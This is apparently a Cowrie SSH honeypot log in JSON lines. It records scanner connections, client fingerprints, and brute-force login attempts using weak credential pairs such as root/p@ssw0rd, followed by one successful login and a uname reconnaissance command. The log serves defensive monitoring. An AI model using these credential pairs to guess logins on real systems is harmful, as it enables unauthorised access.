{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:21:51.371632Z","src_ip":"92.118.39.92","session":"e9e1254e45bd","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"p@ssw0rd","message":"login attempt [root/p@ssw0rd] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:21:51.758931Z","src_ip":"92.118.39.92","session":"e9e1254e45bd","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:21:52.001081Z","src_ip":"92.118.39.92","session":"e9e1254e45bd","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/./uname -s -v -n -r -m","message":"CMD: /bin/./uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:21:52.004430Z","src_ip":"92.118.39.92","session":"e9e1254e45bd","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","size":71,"shasum":"876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:21:52.113968Z","src_ip":"92.118.39.92","session":"e9e1254e45bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:21:52.119018Z","src_ip":"92.118.39.92","session":"e9e1254e45bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.67.80.61","src_port":52956,"dst_ip":"159.203.135.109","dst_port":22,"session":"edae93aa2813","protocol":"ssh","message":"New connection: 103.67.80.61:52956 (159.203.135.109:22) [session: edae93aa2813]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:22:41.399776Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:22:41.404580Z","src_ip":"103.67.80.61","session":"edae93aa2813","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:22:41.645918Z","src_ip":"103.67.80.61","session":"edae93aa2813","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.13.211.185","src_port":44352,"dst_ip":"159.203.135.109","dst_port":22,"session":"f48b04dd1113","protocol":"ssh","message":"New connection: 103.13.211.185:44352 (159.203.135.109:22) [session: f48b04dd1113]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:22:42.222050Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:22:42.226664Z","src_ip":"103.13.211.185","session":"f48b04dd1113","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:22:42.323784Z","src_ip":"103.13.211.185","session":"f48b04dd1113","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"task","password":"123","message":"login attempt [task/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:22:42.643162Z","src_ip":"103.67.80.61","session":"edae93aa2813","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"u1","password":"1234","message":"login attempt [u1/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:22:42.822817Z","src_ip":"103.13.211.185","session":"f48b04dd1113","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:22:43.888120Z","src_ip":"103.67.80.61","session":"edae93aa2813","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:22:44.026544Z","src_ip":"103.13.211.185","session":"f48b04dd1113","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.57.48","src_port":35366,"dst_ip":"159.203.135.109","dst_port":22,"session":"085e68a09fec","protocol":"ssh","message":"New connection: 159.223.57.48:35366 (159.203.135.109:22) [session: 085e68a09fec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:23:22.413132Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:23:22.418271Z","src_ip":"159.223.57.48","session":"085e68a09fec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:23:22.664288Z","src_ip":"159.223.57.48","session":"085e68a09fec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"task","password":"123","message":"login attempt [task/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:23:23.676584Z","src_ip":"159.223.57.48","session":"085e68a09fec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:23:24.924874Z","src_ip":"159.223.57.48","session":"085e68a09fec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":36006,"dst_ip":"159.203.135.109","dst_port":22,"session":"241263e611f5","protocol":"ssh","message":"New connection: 92.118.39.92:36006 (159.203.135.109:22) [session: 241263e611f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:24:12.445274Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:24:12.449621Z","src_ip":"92.118.39.92","session":"241263e611f5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:24:12.553766Z","src_ip":"92.118.39.92","session":"241263e611f5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jira","password":"jira","message":"login attempt [jira/jira] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:24:12.866838Z","src_ip":"92.118.39.92","session":"241263e611f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:24:13.972686Z","src_ip":"92.118.39.92","session":"241263e611f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.13.211.185","src_port":48430,"dst_ip":"159.203.135.109","dst_port":22,"session":"c98cd94f6104","protocol":"ssh","message":"New connection: 103.13.211.185:48430 (159.203.135.109:22) [session: c98cd94f6104]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:24:38.123070Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:24:38.127708Z","src_ip":"103.13.211.185","session":"c98cd94f6104","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:24:38.224509Z","src_ip":"103.13.211.185","session":"c98cd94f6104","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"task","password":"123","message":"login attempt [task/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:24:38.723037Z","src_ip":"103.13.211.185","session":"c98cd94f6104","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:24:40.030463Z","src_ip":"103.13.211.185","session":"c98cd94f6104","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.92.202","src_port":38020,"dst_ip":"10.17.0.5","dst_port":22,"session":"d57badc1402f","protocol":"ssh","message":"New connection: 103.82.92.202:38020 (10.17.0.5:22) [session: d57badc1402f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:25:18.257521Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:25:18.262635Z","src_ip":"103.82.92.202","session":"d57badc1402f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:25:18.512718Z","src_ip":"103.82.92.202","session":"d57badc1402f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rails","password":"railsrails","message":"login attempt [rails/railsrails] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:25:19.546179Z","src_ip":"103.82.92.202","session":"d57badc1402f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:25:20.833362Z","src_ip":"103.82.92.202","session":"d57badc1402f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.67.80.61","src_port":44296,"dst_ip":"159.203.135.109","dst_port":22,"session":"9b70a311b69c","protocol":"ssh","message":"New connection: 103.67.80.61:44296 (159.203.135.109:22) [session: 9b70a311b69c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:25:36.326163Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:25:36.331319Z","src_ip":"103.67.80.61","session":"9b70a311b69c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:25:36.574494Z","src_ip":"103.67.80.61","session":"9b70a311b69c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"showroom","password":"Showroom123","message":"login attempt [showroom/Showroom123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:25:37.567581Z","src_ip":"103.67.80.61","session":"9b70a311b69c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:25:38.813113Z","src_ip":"103.67.80.61","session":"9b70a311b69c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.57.48","src_port":34556,"dst_ip":"159.203.135.109","dst_port":22,"session":"a0dda4a1fdba","protocol":"ssh","message":"New connection: 159.223.57.48:34556 (159.203.135.109:22) [session: a0dda4a1fdba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:25:45.403621Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:25:45.407866Z","src_ip":"159.223.57.48","session":"a0dda4a1fdba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 